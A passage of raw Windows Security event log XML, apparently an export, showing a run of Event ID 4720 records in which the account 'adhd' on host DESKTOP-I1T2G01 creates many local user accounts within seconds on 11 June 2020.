ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Beverly</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1164</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Beverly</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Beverly - adhd - - - 4720 - 5023 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.8036322Z'/><EventRecordID>5023</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Sean</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1163</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Sean</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Sean - adhd - - - 4720 - 5017 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.7160871Z'/><EventRecordID>5017</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Edward</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1162</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Edward</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Edward - adhd - - - 4720 - 5011 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.6346615Z'/><EventRecordID>5011</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Nathan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1161</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Nathan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Nathan - adhd - - - 4720 - 5005 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.5422210Z'/><EventRecordID>5005</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Alice</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1160</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Alice</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Alice - adhd - - - 4720 - 4999 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.4571927Z'/><EventRecordID>4999</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Sharon</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1159</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Sharon</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Sharon - adhd - - - 4720 - 4993 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.3720955Z'/><EventRecordID>4993</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Brittany</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1158</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Brittany</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Brittany - adhd - - - 4720 - 4987 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.2818397Z'/><EventRecordID>4987</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Matthew</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1157</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Matthew</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Matthew - adhd - - - 4720 - 4981 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.1991755Z'/><EventRecordID>4981</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Christina</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1156</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Christina</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Christina - adhd - - - 4720 - 4975 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.0768723Z'/><EventRecordID>4975</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Joan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1155</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Joan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Joan - adhd - - - 4720 - 4969 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.9909314Z'/><EventRecordID>4969</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Linda</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1154</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Linda</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Linda - adhd - - - 4720 - 4963 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.9048233Z'/><EventRecordID>4963</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Tyler</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1153</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Tyler</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Tyler - adhd - - - 4720 - 4957 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.8172149Z'/><EventRecordID>4957</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Kathryn</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1152</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Kathryn</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Kathryn - adhd - - - 4720 - 4951 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.7208828Z'/><EventRecordID>4951</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Andrea</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1151</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Andrea</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Andrea - adhd - - - 4720 - 4945 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.6400947Z'/><EventRecordID>4945</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Susan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1150</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Susan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Susan - adhd - - - 4720 - 4939 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.5578267Z'/><EventRecordID>4939</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Elizabeth</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1149</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Elizabeth</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data 